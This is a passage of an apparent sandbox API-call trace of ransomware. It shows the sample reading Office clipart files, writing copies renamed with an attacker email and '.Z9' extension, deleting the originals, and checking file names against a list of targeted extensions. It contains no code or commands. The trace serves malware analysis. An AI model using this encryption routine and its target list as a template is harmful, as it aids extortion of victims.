	[0191.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0191.021] GetLastError () returned 0x0
	[0191.021] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0191.021] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0191.023] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.023] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.023] SetEndOfFile (hFile=0x370) returned 1
	[0191.023] CloseHandle (hObject=0x370) returned 1
	[0191.023] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.023] SetEndOfFile (hFile=0x354) returned 1
	[0191.024] CloseHandle (hObject=0x354) returned 1
	[0191.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0191.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.025] lstrlenW (lpString=".doc") returned 4
	[0191.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.025] lstrlenW (lpString=".docx") returned 5
	[0191.025] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0191.025] lstrlenW (lpString=".pdf") returned 4
	[0191.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.025] lstrlenW (lpString=".xls") returned 4
	[0191.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.025] lstrlenW (lpString=".xlsx") returned 5
	[0191.025] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0191.025] lstrlenW (lpString=".ppt") returned 4
	[0191.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.025] lstrlenW (lpString=".zip") returned 4
	[0191.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.025] lstrlenW (lpString=".rar") returned 4
	[0191.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.026] lstrlenW (lpString=".bz2") returned 4
	[0191.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString=".7z") returned 3
	[0191.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString=".dbf") returned 4
	[0191.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString=".1cd") returned 4
	[0191.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString=".jpg") returned 4
	[0191.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString=".doc") returned 4
	[0191.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString=".docx") returned 5
	[0191.027] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0191.027] lstrlenW (lpString=".pdf") returned 4
	[0191.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString=".xls") returned 4
	[0191.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.027] lstrlenW (lpString=".xlsx") returned 5
	[0191.027] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0191.027] lstrlenW (lpString=".ppt") returned 4
	[0191.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.027] lstrlenW (lpString=".zip") returned 4
	[0191.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.027] lstrlenW (lpString=".rar") returned 4
	[0191.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.027] lstrlenW (lpString=".bz2") returned 4
	[0191.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.028] lstrlenW (lpString=".7z") returned 3
	[0191.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.028] lstrlenW (lpString=".dbf") returned 4
	[0191.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.028] lstrlenW (lpString=".1cd") returned 4
	[0191.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0191.028] lstrlenW (lpString=".jpg") returned 4
	[0191.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.028] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0191.028] lstrlenW (lpString="J0099165.JPG") returned 12
	[0191.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.029] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=50490) returned 1
	[0191.029] CloseHandle (hObject=0x354) returned 1
	[0191.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220
	[0191.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.030] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.030] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0191.030] GetLastError () returned 0x0
	[0191.030] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0xc53a, lpOverlapped=0x0) returned 1
	[0191.031] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xc540, lpOverlapped=0x0) returned 1
	[0191.034] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.034] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.034] SetEndOfFile (hFile=0x370) returned 1
	[0191.035] CloseHandle (hObject=0x370) returned 1
	[0191.035] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.035] SetEndOfFile (hFile=0x354) returned 1
	[0191.036] CloseHandle (hObject=0x354) returned 1
	[0191.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0191.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.037] lstrlenW (lpString=".doc") returned 4
	[0191.037] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.037] lstrlenW (lpString=".docx") returned 5
	[0191.037] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0191.037] lstrlenW (lpString=".pdf") returned 4
	[0191.037] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.037] lstrlenW (lpString=".xls") returned 4
	[0191.037] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.037] lstrlenW (lpString=".xlsx") returned 5
	[0191.037] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0191.037] lstrlenW (lpString=".ppt") returned 4
	[0191.037] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.037] lstrlenW (lpString=".zip") returned 4
	[0191.037] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.037] lstrlenW (lpString=".rar") returned 4
	[0191.037] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.037] lstrlenW (lpString=".bz2") returned 4
	[0191.037] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.037] lstrlenW (lpString=".7z") returned 3
	[0191.037] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.037] lstrlenW (lpString=".dbf") returned 4
	[0191.037] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.037] lstrlenW (lpString=".1cd") returned 4
	[0191.037] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".jpg") returned 4
	[0191.038] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".doc") returned 4
	[0191.038] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.038] lstrlenW (lpString=".docx") returned 5
	[0191.038] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0191.038] lstrlenW (lpString=".pdf") returned 4
	[0191.038] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.038] lstrlenW (lpString=".xls") returned 4
	[0191.038] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.038] lstrlenW (lpString=".xlsx") returned 5
	[0191.038] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0191.038] lstrlenW (lpString=".ppt") returned 4
	[0191.038] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".zip") returned 4
	[0191.038] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.038] lstrlenW (lpString=".rar") returned 4
	[0191.038] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.038] lstrlenW (lpString=".bz2") returned 4
	[0191.038] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.038] lstrlenW (lpString=".7z") returned 3
	[0191.038] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".dbf") returned 4
	[0191.038] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".1cd") returned 4
	[0191.038] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0191.038] lstrlenW (lpString=".jpg") returned 4
	[0191.038] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.039] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0191.039] lstrlenW (lpString="J0099166.JPG") returned 12
	[0191.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.039] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=64767) returned 1
	[0191.039] CloseHandle (hObject=0x354) returned 1
	[0191.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220
	[0191.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.039] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.039] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0191.040] GetLastError () returned 0x0
	[0191.040] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0xfcff, lpOverlapped=0x0) returned 1
	[0191.248] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xfd00, lpOverlapped=0x0) returned 1
	[0191.254] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.254] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.254] SetEndOfFile (hFile=0x370) returned 1
	[0191.571] CloseHandle (hObject=0x370) returned 1
	[0191.771] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.771] SetEndOfFile (hFile=0x354) returned 1
	[0192.189] CloseHandle (hObject=0x354) returned 1
	[0192.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString=".doc") returned 4
	[0193.457] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0193.457] lstrlenW (lpString=".docx") returned 5
	[0193.457] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0193.457] lstrlenW (lpString=".pdf") returned 4
	[0193.457] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0193.457] lstrlenW (lpString=".xls") returned 4
	[0193.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0193.457] lstrlenW (lpString=".xlsx") returned 5
	[0193.457] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0193.457] lstrlenW (lpString=".ppt") returned 4
	[0193.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString=".zip") returned 4
	[0193.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0193.457] lstrlenW (lpString=".rar") returned 4
	[0193.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0193.457] lstrlenW (lpString=".bz2") returned 4
	[0193.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0193.457] lstrlenW (lpString=".7z") returned 3
	[0193.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString=".dbf") returned 4
	[0193.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString=".1cd") returned 4
	[0193.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0193.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.457] lstrlenW (lpString=".jpg") returned 4
	[0193.457] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString=".doc") returned 4
	[0193.458] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0193.458] lstrlenW (lpString=".docx") returned 5
	[0193.458] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0193.458] lstrlenW (lpString=".pdf") returned 4
	[0193.458] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0193.458] lstrlenW (lpString=".xls") returned 4
	[0193.458] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0193.458] lstrlenW (lpString=".xlsx") returned 5
	[0193.458] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0193.458] lstrlenW (lpString=".ppt") returned 4
	[0193.458] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString=".zip") returned 4
	[0193.458] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0193.458] lstrlenW (lpString=".rar") returned 4
	[0193.458] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0193.458] lstrlenW (lpString=".bz2") returned 4
	[0193.458] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0193.458] lstrlenW (lpString=".7z") returned 3
	[0193.458] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString=".dbf") returned 4
	[0193.458] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString=".1cd") returned 4
	[0193.458] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0193.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0193.458] lstrlenW (lpString=".jpg") returned 4
	[0193.458] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0193.459] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.459] lstrlenW (lpString="J0099182.WMF") returned 12
	[0193.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.459] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3840) returned 1
	[0193.459] CloseHandle (hObject=0x394) returned 1
	[0193.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
